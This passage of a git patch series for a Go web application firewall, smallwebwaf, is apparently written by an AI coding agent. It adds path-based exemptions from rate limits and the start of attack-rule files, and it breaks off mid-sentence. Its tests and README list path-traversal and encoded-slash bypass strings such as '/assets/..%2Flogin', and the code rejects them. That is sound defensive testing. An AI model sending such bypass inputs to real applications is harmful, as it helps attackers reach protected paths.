"aborted", + "forwarded_for", "content_type", "content_length", "request_headers", + "has_authorization", "has_cookie", "websocket", "response_content_type", + "upstream_status", "cache_control", "location", "aborted", "counts", + "limit_hit", "offence", "ban_expires", "duration_checks", + "duration_upstream_connect", "duration_upstream_first_byte", "duration_upstream_total", } for _, name := range unset { From 74bdc6a4491d95ffc9b6394e68dcfce0cad69ddb Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 18:47:13 +0200 Subject: [PATCH 25/64] Leave SWWAF_RATE_LIMIT_EXEMPT_PATHS out of the request rate limits (closes #77) A request is neither counted nor refused by the request rate limits when its path as sent, the path the app receives, not percent-decoded, starts with one of the comma-separated prefixes in SWWAF_RATE_LIMIT_EXEMPT_PATHS, so /%61ssets/x is not under /assets/. A request whose decoded path contains .. or a backslash, or whose path as sent holds an encoded slash, is never exempt, since an app may act on it as a path outside every prefix, such as /assets/..%2Flogin as /login. The static lists, bans and the country lists still apply, and its log line has no counts. The setting is empty by default, and a prefix that does not start with / stops the start. README.md documents it. Model: opus-5-5 --- README.md | 73 ++++++++++++-------- internal/config/config.go | 36 +++++++++- internal/config/config_test.go | 29 +++++++- internal/proxy/proxy_test.go | 1 + internal/proxy/ratelimits_test.go | 88 ++++++++++++++++++++++++ internal/proxy/request.go | 33 ++++++++- internal/smallwebwaf/smallwebwaf_test.go | 1 + 7 files changed, 228 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index d09e8b6..67ed797 100644 --- a/README.md +++ b/README.md @@ -13,22 +13,23 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are seven parts of -milestone 3: the static lists, the bans that broken rate limits lead to and the -JSON state files with your edits taken in while it runs, which come next in the -build order, `observe` mode and the rest of the request log's fields, which come -a little later, and the metrics endpoint and the header size and the idle time -as settings, which come last in it. `smallwebwaf` passes each request to the app -and the app's answer back, unchanged, within its timeouts and size limits, works -out each client's address, bans a client that sends too many requests, refuses a -client that comes from a country you refuse or from a network you refuse, lets -the networks you choose through, keeps its bans, each client's counters and -history, and GeoJS's answers in JSON files across restarts, takes in your edits -of those files while it runs, writes a JSON log line for every request, serves -Prometheus metrics to a scraper that holds the metrics token, and in `observe` -mode passes on the requests it would refuse, logging what it would have done -with them. It comes as the image the app's own image is built on. The rest of -the design comes after that, in the order of the build order in +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are eight parts of +milestone 3: the static lists, the bans that broken rate limits lead to, the +JSON state files with your edits taken in while it runs and the paths the rate +limits do not count, which come next in the build order, `observe` mode and the +rest of the request log's fields, which come a little later, and the metrics +endpoint and the header size and the idle time as settings, which come last in +it. `smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +bans a client that sends too many requests, not counting those for the paths you +choose, refuses a client that comes from a country you refuse or from a network +you refuse, lets the networks you choose through, keeps its bans, each client's +counters and history, and GeoJS's answers in JSON files across restarts, takes +in your edits of those files while it runs, writes a JSON log line for every +request, serves Prometheus metrics to a scraper that holds the metrics token, +and in `observe` mode passes on the requests it would refuse, logging what it +would have done with them. It comes as the image the app's own image is built +on. The rest of the design comes after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). @@ -83,12 +84,15 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. - Counts each client's requests over a minute, an hour and a day. A request that takes the client over one of the rate limits below is refused with `SWWAF_BAN_RESPONSE`, `403` by default, before anything reaches the app, and - bans the client. A client is one IPv4 address, or one IPv6 /64, since one - abuser usually holds a whole /64. Each window is counted in two fixed buckets, - the earlier one weighted by how much of it the window still covers. At most - 20,000 clients are kept, the least recently seen dropped first, with their - history, and a restart gives no client a fresh allowance (see "State files" - below). + bans the client. A request whose path starts with one of + `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither + counted nor refused by the rate limits; the static lists, bans and the country + lists still apply to it. A client is one IPv4 address, or one IPv6 /64, since + one abuser usually holds a whole /64. Each window is counted in two fixed + buckets, the earlier one weighted by how much of it the window still covers. + At most 20,000 clients are kept, the least recently seen dropped first, with + their history, and a restart gives no client a fresh allowance (see "State + files" below). - Bans a client that breaks a rate limit, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit broken again within a day of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and @@ -200,6 +204,20 @@ it, and the effective settings are logged at start. requests a client may make in a minute, an hour and a day. The defaults are several times what one busy person produces, since a browser loading a heavy page makes a few hundred requests and several people often share one address. +- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes whose requests + the rate limits neither count nor refuse, such as `/assets/` for static + assets; each starts with `/`. A request whose path, percent-decoded, contains + `..` anywhere or a backslash, or whose path as sent holds an encoded slash + (`%2F` or `%2f`), is never exempt, since the app may act on it as a path + outside every prefix: `/assets/..%2Flogin` as `/login`. Any other request is + exempt when its path as sent, the path the app receives, before any query + string and not percent-decoded, starts with a prefix, character for character. + `/assets/` matches `/assets/app.js` and `/assets/`, but not `/assets`, + `/Assets/app.js`, `/%61ssets/app.js`, `/static/assets/app.js`, + `/static/../assets/app.js` or `/assets%2Fapp.js`. A character the client sends + percent-encoded, such as a space, is written percent-encoded in a prefix, as + in `/my%20files/`, and there are no wildcards: `*` is a character like any + other. - `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, for example `cn,ru,kp`. - `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only @@ -322,9 +340,10 @@ A field that does not apply to a request is left out of its line, apart from have a fraction. For a request that broke a limit, they are the counts that broke it. It is left out for a request the rate limits do not count: the health check, one from a client in `SWWAF_ALLOW_NETS` or - `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and one that `SWWAF_DENY_NETS`, a ban or the - country lists refuse, or would refuse in `observe` mode. The byte totals come - with the byte limits. + `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that + `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a ban + or the country lists refuse, or would refuse in `observe` mode. The byte + totals come with the byte limits. - `limit_hit` is there for a request that broke a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. `offence` is then `limit`. @@ -830,8 +849,8 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3: exemptions; then the rest of the design, in the order - of the build order in [`SPEC.md`](SPEC.md). +- The rest of the design, in the order of the build order in + [`SPEC.md`](SPEC.md). ## Documents diff --git a/internal/config/config.go b/internal/config/config.go index 1c62687..0b94680 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -80,6 +80,10 @@ type Config struct { RateLimitPerMinute int64 RateLimitPerHour int64 RateLimitPerDay int64 + // RateLimitExemptPaths are the path prefixes whose requests the rate + // limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_PATHS). + // Each starts with /. + RateLimitExemptPaths []string // DeniedCountries are the countries whose clients are refused // (SWWAF_DENIED_COUNTRIES). ExclusivelyAllowedCountries, when not // empty, are the only countries whose clients are let through @@ -179,8 +183,10 @@ var ( "is not the length of an IPv4 netblock, from 0 to 32, such as 24") errNotAbsolutePath = errors.New( "is not an absolute path, such as /var/lib/smallwebwaf") - errShortToken = errors.New("is shorter than 32 characters") - errNotMode = errors.New("is not enforce or observe") + errShortToken = errors.New("is shorter than 32 characters") + errNotMode = errors.New("is not enforce or observe") + errNotPathPrefix = errors.New( + "is not a path prefix starting with /, such as /assets/") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -210,6 +216,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "1000"), RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), + RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""), DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), ExclusivelyAllowedCountries: env.countries( "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), @@ -350,6 +357,14 @@ func (e *environment) count(name, defaultValue string) int64 { return count } +// pathPrefixes reads a setting that is a list of path prefixes. +func (e *environment) pathPrefixes(name, defaultValue string) []string { + prefixes, err := parsePathPrefixes(e.value(name, defaultValue)) + e.check(name, err) + + return prefixes +} + // countries reads a setting that is a list of countries. func (e *environment) countries(name, defaultValue string) []string { countries, err := parseCountries(e.value(name, defaultValue)) @@ -637,6 +652,23 @@ func parseNetblock(value string) (netip.Prefix, error) { return netip.PrefixFrom(addr, addr.BitLen()), nil } +// parsePathPrefixes reads a comma-separated list of path prefixes, each +// starting with /. +func parsePathPrefixes(value string) ([]string, error) { + prefixes, err := parseList(value) + if err != nil { + return nil, err + } + + for _, prefix := range prefixes { + if !strings.HasPrefix(prefix, "/") { + return nil, fmt.Errorf("%q %w", prefix, errNotPathPrefix) + } + } + + return prefixes, nil +} + // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, // the code in common use for Kosovo. golang.org/x/text/language cannot // check them: it also takes withdrawn codes such as su, and reserved ones diff --git a/internal/config/config_test.go b/internal/config/config_test.go index ccfe4c7..cfb1a6e 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -35,6 +35,7 @@ const ( rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" banResponse = "SWWAF_BAN_RESPONSE" @@ -139,6 +140,10 @@ func TestDefaults(t *testing.T) { t.Errorf("%s gave %v, want %v", logRequestHeaders, cfg.LogRequestHeaders, wantHeaders) } + + if len(cfg.RateLimitExemptPaths) != 0 { + t.Errorf("%s gave %v, want none", rateLimitExemptPaths, cfg.RateLimitExemptPaths) + } } func TestValuesAsSet(t *testing.T) { @@ -163,6 +168,7 @@ func TestValuesAsSet(t *testing.T) { rateLimitPerMinute: "60", rateLimitPerHour: "600", rateLimitPerDay: "6000", + rateLimitExemptPaths: "/assets/, /favicon.ico", deniedCountries: "cn, RU,kp,Xk", allowedCountries: "de", banResponse: "429", @@ -215,6 +221,24 @@ func TestValuesAsSet(t *testing.T) { wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK") wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") + + if !slices.Equal(cfg.RateLimitExemptPaths, []string{"/assets/", "/favicon.ico"}) { + t.Errorf("%s gave %v, want /assets/ and /favicon.ico", + rateLimitExemptPaths, cfg.RateLimitExemptPaths) + } +} + +func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment( + environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.lookupEnv) + + want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` + + `starting with /, such as /assets/` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } } func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { @@ -368,8 +392,8 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitPerMinute, "1K"}, {rateLimitPerHour, "0"}, {rateLimitPerHour, "1.5"}, - {rateLimitPerDay, "-1"}, - {rateLimitPerDay, "lots"}, + {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, + {rateLimitExemptPaths, "/assets/,,/static/"}, {deniedCountries, "nk"}, {deniedCountries, "kp,,ir"}, {deniedCountries, "prk"}, @@ -505,6 +529,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerMinute: "1000", rateLimitPerHour: "10000", rateLimitPerDay: "50000", + rateLimitExemptPaths: "", deniedCountries: "", allowedCountries: "", banResponse: "403", diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index ccb3bed..4a3980d 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -63,6 +63,7 @@ const ( denyNets = "SWWAF_DENY_NETS" rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" banResponse = "SWWAF_BAN_RESPONSE" diff --git a/internal/proxy/ratelimits_test.go b/internal/proxy/ratelimits_test.go index 8d57142..1d8b504 100644 --- a/internal/proxy/ratelimits_test.go +++ b/internal/proxy/ratelimits_test.go @@ -5,6 +5,8 @@ import ( "sync/atomic" "testing" + "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -69,3 +71,89 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) { t.Errorf("the app was called %d times, want 4", calls.Load()) } } + +func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { + t.Parallel() + + const denied = "192.0.2.50" // in SWWAF_DENY_NETS + + s, _, server := startWithClock(t, "", map[string]string{ + rateLimitPerMinute: "1", + rateLimitExemptPaths: "/assets/,/favicon.ico", + denyNets: denied, + deniedCountries: "kp", + }) + + // The answers are kept before the requests, so that none waits for + // GeoJS. + server.GeoJS.Load([]lookup.Answer{ + keptAnswer(client, "DE"), keptAnswer(fromKP, "KP"), + }) + + // With a limit of one request a minute, the requests for paths under a + // prefix are not counted, so client's first request for / is within + // the limit; and once client has reached it, they are not refused. + s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward) + s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusOK, requestlog.ActionForward) + + line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward) + if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) { + t.Errorf("log line has limit_hit %q and counts %+v, want neither", + line.LimitHit, line.Counts) + } + + // A path outside every prefix is counted: /assets is not under + // /assets/, and breaks the limit. + s.request(client, "/assets", http.StatusForbidden, requestlog.ActionRateLimited) + + // A ban, SWWAF_DENY_NETS and the country lists still refuse a path + // under a prefix. + s.request(client, "/assets/app.js", http.StatusForbidden, requestlog.ActionBanned) + s.request(denied, "/assets/app.js", http.StatusForbidden, requestlog.ActionDenied) + s.request(fromKP, "/assets/app.js", + http.StatusForbidden, requestlog.ActionCountryDenied) +} + +func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) { + t.Parallel() + + for _, sent := range []string{ + // A prefix matches only at the start of the path. + "/static/assets/app.js", + // A prefix matches the path as sent: a router that matches the + // path as received does not take /%61ssets/x for a path under + // /assets/. + "/%61ssets/x", + // .. once percent-decoded: an app may act on these as /login, the + // last as a path under /sneak/app/ or as /assets/x. + "/assets/../login", + "/assets/%2e%2e/login", + "/assets/..%2Flogin", + "/assets/..;/login", + "/sneak/app/src/branch/main/..%2F..%2F..%2F..%2F..%2F..%2Fassets/x", + // Not under /assets/ as sent: Go's router takes /assets%2Fx for one + // path segment, not a path under /assets/. + "/assets%2Fx", + "/assets%2fx", + // Under /assets/ as sent, but holding an encoded slash, in either + // case, or a backslash: never exempt, whatever the prefix. + "/assets/x%2Fy", + "/assets/x%2fy", + `/assets/x\y`, + } { + t.Run(sent, func(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{ + rateLimitPerMinute: "1", + rateLimitExemptPaths: "/assets/", + }) + + // Counted, the second request breaks the limit of one request + // a minute. + s.request(client, sent, http.StatusOK, requestlog.ActionForward) + s.request(client, sent, http.StatusForbidden, requestlog.ActionRateLimited) + }) + } +} diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 09dfef1..fded4b7 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -7,7 +7,9 @@ import ( "net/http/httptrace" "net/http/httputil" "net/netip" + "net/url" "os" + "slices" "strings" "sync" "sync/atomic" @@ -192,7 +194,8 @@ func (rq *request) check(ctx context.Context) *refusal { // client either refuses is not looked up, and then the country lists; a // request any of them refuses is not counted for the rate limits. Then // come the rate limits, unless the client is in -// SWWAF_RATE_LIMIT_EXEMPT_NETS, so that every other request is counted. +// SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under +// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted. // ctx is the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config @@ -214,13 +217,39 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionCountryDenied } - if !isInside(rq.client, cfg.RateLimitExemptNets) && rq.limitBroken(now) { + exempt := isInside(rq.client, cfg.RateLimitExemptNets) || + pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) + if !exempt && rq.limitBroken(now) { return requestlog.ActionRateLimited } return "" } +// pathExempt reports whether the rate limits leave out a request for u +// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the +// path the app receives, not percent-decoded, starts with one of +// prefixes, so that /%61ssets/x is not under /assets/ for an app whose +// router matches the path as received. A request whose decoded path +// contains .. anywhere or a backslash, or whose path as sent holds an +// encoded slash (%2F or %2f), never is, since an app may act on it as a +// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx +// as one path segment, as Go's router does. +func pathExempt(u *url.URL, prefixes []string) bool { + decoded := u.Path + // EscapedPath is the path as the app receives it, not decoded. + sent := u.EscapedPath() + + if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) || + strings.Contains(strings.ToLower(sent), "%2f") { + return false + } + + return slices.ContainsFunc(prefixes, func(prefix string) bool { + return strings.HasPrefix(sent, prefix) + }) +} + // forward passes the request to the app and the app's answer back. ctx // is the request's own context. func (rq *request) forward(ctx context.Context) { diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index befbab9..d70f809 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -436,6 +436,7 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", "SWWAF_RATE_LIMIT_PER_HOUR": "10000", rateLimitPerDay: "50000", + "SWWAF_RATE_LIMIT_EXEMPT_PATHS": "", "SWWAF_DENIED_COUNTRIES": "", "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", "SWWAF_BAN_RESPONSE": "403", From e77dfb68911d9b74bd78360c8610ba69ef332f98 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 20:38:35 +0200 Subject: [PATCH 26/64] Rule files, and bans for a clear sign of attack (closes #24) Every *.rules file in SWWAF_RULES_DIR not named with a leading dot is read at start, and again 2 seconds after the directory's last change. Each request is checked against the rules after the rate limits: log notes a match, block refuses with 403, ban refuses and bans the netblock for SWWAF_ATTACK_BAN_DURATION, made permanent by its next request or attack. path, query and uri are matched as the request line sent them; header:Host and header:Transfer-Encoding are refused. Bans gain a cause. The image ships 00-default.rules. Judgement call: a header sent twice is matched with its values joined by ", ". Judgement call: SWWAF_MAX_BAN_DURATION does not cap a ban for an attack. Not in this unit: offences for rule matches, with the error burst. Model: opus-5-5 --- Dockerfile | 4 + README.md | 312 +++++++---- internal/bans/bans.go | 266 ++++++--- internal/bans/bans_test.go | 110 +++- internal/bans/snapshot_test.go | 17 +- internal/config/config.go | 50 +- internal/config/config_test.go | 70 ++- internal/metrics/metrics.go | 46 +- internal/proxy/bans.go | 55 +- internal/proxy/bans_test.go | 7 +- internal/proxy/proxy.go | 8 + internal/proxy/proxy_test.go | 20 +- internal/proxy/request.go | 27 +- internal/proxy/rulefiles_test.go | 232 ++++++++ internal/proxy/rules.go | 40 ++ internal/requestlog/requestlog.go | 11 +- internal/rules/rules.go | 469 ++++++++++++++++ internal/rules/rules_test.go | 662 +++++++++++++++++++++++ internal/rules/watch_internal_test.go | 162 ++++++ internal/smallwebwaf/healthcheck_test.go | 1 + internal/smallwebwaf/smallwebwaf.go | 42 +- internal/smallwebwaf/smallwebwaf_test.go | 99 +++- internal/state/state.go | 16 +- internal/state/state_test.go | 27 +- script/example-app | 32 +- script/run | 8 +- share/rules.d/00-default.rules | 15 + 27 files changed, 2527 insertions(+), 281 deletions(-) create mode 100644 internal/proxy/rulefiles_test.go create mode 100644 internal/proxy/rules.go create mode 100644 internal/rules/rules.go create mode 100644 internal/rules/rules_test.go create mode 100644 internal/rules/watch_internal_test.go create mode 100644 share/rules.d/00-default.rules diff --git a/Dockerfile b/Dockerfile index 5267b36..fa861de 100644 --- a/Dockerfile +++ b/Dockerfile @@ -167,6 +167,10 @@ RUN groupadd --system --gid 65532 smallwebwaf \ # smallwebwaf user at each start. RUN mkdir /var/lib/smallwebwaf +# The default rule file, in SWWAF_RULES_DIR by default, where an app's +# Dockerfile can copy rule files of its own beside it. +COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules + # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # looks too. COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run diff --git a/README.md b/README.md index 67ed797..1cd512d 100644 --- a/README.md +++ b/README.md @@ -19,13 +19,16 @@ JSON state files with your edits taken in while it runs and the paths the rate limits do not count, which come next in the build order, `observe` mode and the rest of the request log's fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in -it. `smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -bans a client that sends too many requests, not counting those for the paths you -choose, refuses a client that comes from a country you refuse or from a network -you refuse, lets the networks you choose through, keeps its bans, each client's -counters and history, and GeoJS's answers in JSON files across restarts, takes -in your edits of those files while it runs, writes a JSON log line for every +it. So are the rule files, the first part of the stage after it, with the bans +for a clear sign of attack. `smallwebwaf` passes each request to the app and the +app's answer back, unchanged, within its timeouts and size limits, works out +each client's address, bans a client that sends too many requests, not counting +those for the paths you choose, refuses a client that comes from a country you +refuse or from a network you refuse, lets the networks you choose through, +checks each request against the rule files and bans a client whose request is a +clear sign of attack, keeps its bans, each client's counters and history, and +GeoJS's answers in JSON files across restarts, takes in your edits of those +files and of the rule files while it runs, writes a JSON log line for every request, serves Prometheus metrics to a scraper that holds the metrics token, and in `observe` mode passes on the requests it would refuse, logging what it would have done with them. It comes as the image the app's own image is built @@ -54,7 +57,8 @@ works. To work on the code, `make build` builds the binary alone, with Go installed, and `make run` builds and runs it, listening on port 8080 in front of an app at `SWWAF_UPSTREAM_URL`, by default `http://127.0.0.1:8081`, with its state files -in `bin/state` unless `SWWAF_STATE_DIR` is set. +in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of +`share/rules.d` unless `SWWAF_RULES_DIR` is set. ## What it does so far @@ -86,13 +90,13 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. `SWWAF_BAN_RESPONSE`, `403` by default, before anything reaches the app, and bans the client. A request whose path starts with one of `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither - counted nor refused by the rate limits; the static lists, bans and the country - lists still apply to it. A client is one IPv4 address, or one IPv6 /64, since - one abuser usually holds a whole /64. Each window is counted in two fixed - buckets, the earlier one weighted by how much of it the window still covers. - At most 20,000 clients are kept, the least recently seen dropped first, with - their history, and a restart gives no client a fresh allowance (see "State - files" below). + counted nor refused by the rate limits; the static lists, bans, the country + lists and the rule files still apply to it. A client is one IPv4 address, or + one IPv6 /64, since one abuser usually holds a whole /64. Each window is + counted in two fixed buckets, the earlier one weighted by how much of it the + window still covers. At most 20,000 clients are kept, the least recently seen + dropped first, with their history, and a restart gives no client a fresh + allowance (see "State files" below). - Bans a client that breaks a rate limit, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit broken again within a day of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and @@ -106,11 +110,26 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. window and the requests counted in it, the request that broke it, the client's country when it was looked up, the netblock's requests since it was first seen, how many of them the ban has refused, and how many bans the netblock had - before. At most `SWWAF_MAX_BANS` bans are kept, past, active and permanent; - past that, the earliest ban of the netblock that has gone longest without a - request is dropped first. `bans.json` shows the bans and their notes, a - restart lifts none, and you add or lift a ban by editing it (see "State files" - below). + before, for a broken limit, for a clear sign of attack and without a cause. At + most `SWWAF_MAX_BANS` bans are kept, past, active and permanent; past that, + the earliest ban of the netblock that has gone longest without a request is + dropped first. `bans.json` shows the bans and their notes, a restart lifts + none, and you add or lift a ban by editing it (see "State files" below). +- Checks each request against the rules of the rule files (see "Rule files" + below) after the rate limits, and before its body is read. A `log` rule that + matches is noted in the log line; a `block` rule refuses the request with + `403`, and bans no one; a `ban` rule refuses it with `SWWAF_BAN_RESPONSE` and + bans the client's netblock for a clear sign of attack. Matching stops at the + first rule that refuses. A client in `SWWAF_ALLOW_NETS` is not checked. +- Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md) + describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by + default, and any request from the netblock while it lasts makes it permanent. + Once it has run out, the netblock is served like any other, but its next clear + sign of attack bans it permanently at once. Such a ban covers the same + netblock as a ban for a broken rate limit, does not set the client's counters + back to zero, and does not make the netblock's next ban for a broken limit + longer. Its notes give the id and the target of the rule that matched in place + of the limit. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. While one of the country lists below is @@ -121,25 +140,26 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. in `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its country included. A client in - `SWWAF_ALLOW_NETS` skips bans, the country lists and the rate limits, and is - not looked up; the timeouts and size limits still apply. A client in - `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is - read, and the request is not counted for the rate limits; an address in - `SWWAF_ALLOW_NETS` too is let through. A client in + `SWWAF_ALLOW_NETS` skips bans, the country lists, the rate limits and the rule + files, and is not looked up; the timeouts and size limits still apply. A + client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its + body is read, and the request is not counted for the rate limits; an address + in `SWWAF_ALLOW_NETS` too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate - limits; the country lists and bans still apply to it. + limits; the country lists, the rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests - that `SWWAF_DENY_NETS`, a ban, the country lists or a rate limit would refuse: - it passes them to the app, and their log lines name what `enforce` mode would - have done (see `would_action` in "Request log" below). The checks run, and - requests are counted, as in `enforce` mode, but a broken rate limit makes no - ban and does not set the client's counters back to zero, so each request over - the limit is logged as one that would be refused. The bans in `bans.json` are - kept, and refuse requests again when `smallwebwaf` next runs in `enforce` - mode, as long as they last. The timeouts and size limits still apply, since - they protect `smallwebwaf` and the app themselves, and a request for the - metrics without the token is still answered `401`. It is for trying a - configuration before enforcing it. + that `SWWAF_DENY_NETS`, a ban, the country lists, a rate limit or a rule would + refuse: it passes them to the app, and their log lines name what `enforce` + mode would have done (see `would_action` in "Request log" below). The checks + run, and requests are counted, as in `enforce` mode, with three differences: + neither a broken rate limit nor a `ban` rule makes a ban; a broken rate limit + does not set the client's counters back to zero, so each request over the + limit is logged as one that would be refused; and a request under a ban does + not make it permanent. The bans in `bans.json` are kept, and refuse requests + again when `smallwebwaf` next runs in `enforce` mode, as long as they last. + The timeouts and size limits still apply, since they protect `smallwebwaf` and + the app themselves, and a request for the metrics without the token is still + answered `401`. It is for trying a configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -194,8 +214,8 @@ it, and the effective settings are logged at start. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists and the rate limits, such as your monitoring or your own - networks. + country lists, the rate limits and the rule files, such as your monitoring or + your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits do not apply to, such as a machine that talks to the app all day. - `SWWAF_DENY_NETS` (default empty): netblocks whose clients are always refused. @@ -225,16 +245,20 @@ it, and the effective settings are logged at start. country cannot be found is refused too, so that new clients are not let in whenever GeoJS stops answering. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one - that is banned, breaks a rate limit, is in `SWWAF_DENY_NETS` or comes from a - refused country: `403`, `429`, or `close` to close the connection without an - answer. Behind traefik, `close` does not leave the client unanswered: traefik - answers `502`, as it does whenever its backend drops a connection. + that is banned, breaks a rate limit, matches a `ban` rule, is in + `SWWAF_DENY_NETS` or comes from a refused country: 